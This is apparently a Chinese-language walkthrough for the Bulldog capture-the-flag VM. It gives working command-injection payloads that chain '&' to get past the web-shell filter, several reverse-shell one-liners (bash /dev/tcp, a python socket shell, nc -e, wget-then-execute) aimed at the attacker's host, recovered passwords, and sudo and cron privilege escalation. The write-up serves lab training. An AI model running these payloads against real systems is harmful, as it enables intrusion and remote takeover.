靶机地址
Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out?
This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you!
Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint
Made by Nick Frichette (frichetten.com) Twitter: @frichette_n
I’d highly recommend running this on Virtualbox, I had some issues getting it to work in VMware. Additionally DHCP is enabled so you shouldn’t have any troubles getting it onto your network. It defaults to bridged mode, but feel free to change that if you like.
netdiscover
nmap
dirb
md5解密
命令执行和绕过
python开启HTTP服务
linux反弹shell
wget下载文件
linux下strings命令
sudo -l 查看用户可执行命令
目前发现这个靶机有两个思路,以下两个思路都是在反弹shell成功后进行的
sudo su -
切换到root账户。ifconfig
netdiscover -r 192.168.0.0/24
PCS Systemtechnik Gmbh对应的就是靶机的IP
nmap -sS -sV -A -p- 192.168.0.108
WSGI:全称是Web Server Gateway Interface,WSGI不是服务器、python模块、框架、API或者任何软件,只是一种规范,描述web server如何与web application通信的规范。
dirb http://192.168.0.108
根据上面爆破出的目录,对网页进行查看。
/admin是个管理员后台
常见的弱口令无法进入
/dev目录
网页上可以看到开发小组人员的邮箱,可以发现都是用的公司的邮箱,那么邮箱里面可能就包含了开发小组人员的名字。这里为什么会查看网页源代码?因为这是一个打CTF的习惯(虽然我不怎么打……)
解密结果
alan用户解密失败
william用户解密失败
malik用户解密失败
kevin用户解密失败
ashley用户解密失败
nick/bulldog
sarah/bulldoglover
使用nick/bulldog登录后台http://192.168.0.108/admin
登录后台之后没有发现什么有用的功能或信息。记得前面还有一个webshell页面,访问一下看看。
Welcome to Web-Shell! The world’s most secure webshell. Web-Shell will prevent users from running dangerous shell commands. It does this by limiting the specific commands that can be run. A list of valid commands can be seen below.
ifconfig
ls
echo
pwd
cat
rm
All commands are run on the server itself, so it is very important to update Web-Shell as soon as possible if a vulnerability is discovered.
根据上面的提示,用户可以执行的命令只有上述的几个,但是这里可以使用&将多个命令进行拼接,那么就可以绕过限制。
首先在kali攻击机上监听端口
nc -lvp 1234
pwd&bash -i >& /dev/tcp/192.168.0.109/1234 0>&1
python -c "import os,socket,subprocess;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.0.109',1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/bash','-i']);"
python -m SimpleHTTPServer 80
pwd&wget http://192.168.0.109/Desktop/python-shell.py
pwd&python python-shell.py
nc -e /bin/bash 192.168.0.109 1234
echo 'bash -i >& /dev/tcp/192.168.0.109/1234 0>&1' | bash
发现home目录下有一个bulldogadmin,那么优先查看这个目录。
结果执行ls命令时没有发现任何东西,然后我执行了ls -a,发现了隐藏的文件夹。
.hiddenadmindirectory引起了我们的注意,接着在这个文件夹里面发现了
customPermissionApp文件,使用file命令查看一下这是个什么东西,原来是个ELF,简单来说就是Linux的主要可执行文件格式。
然后就是这个目录下还有一个note文件,是一些提示信息
后面就执行了strings命令,我也不知道怎么有这思路,可能是由上面的note来的……
strings customPermissionApp
然后最神奇的就是白色背景的地方就是django账户的密码……
SUPERultimatePASSWORDyouCANTget
SSH登录确认一下,登录成功
ssh -p 23 [email protected]
查看django用户可以执行哪些命令
sudo -l
我们可以看到django用户可以执行所有的命令,于是我们通过执行以下命令切换到root账户
sudo su -
或者
sudo su
用了一个Github上的一个权限提升检查的脚本,用以查看靶机上有哪些对权限提升有帮助的东西,链接在这里linuxprivchecker.py
这个脚本可以做什么
1.枚举系统的基本信息
2.查找具有全局可写属性的文件
3.查找错误的配置文件
4.查找明文密码
5.查找系统存在的可利用漏洞
运行linuxprivchecker脚本
看到了几个使用root权限执行的计划任务
然后我们使用cat命令挨个查看几个计划任务,发现runAV每分钟执行一次名叫AVApplication.py的python脚本
关于Linux计划的详解,请移步这里Linux计划任务
并且这个脚本是全局用户可写的
那么接下来的思路就是我们编辑这个脚本然后反弹shell,因为通过这种方式反弹过来的shell是具有root权限的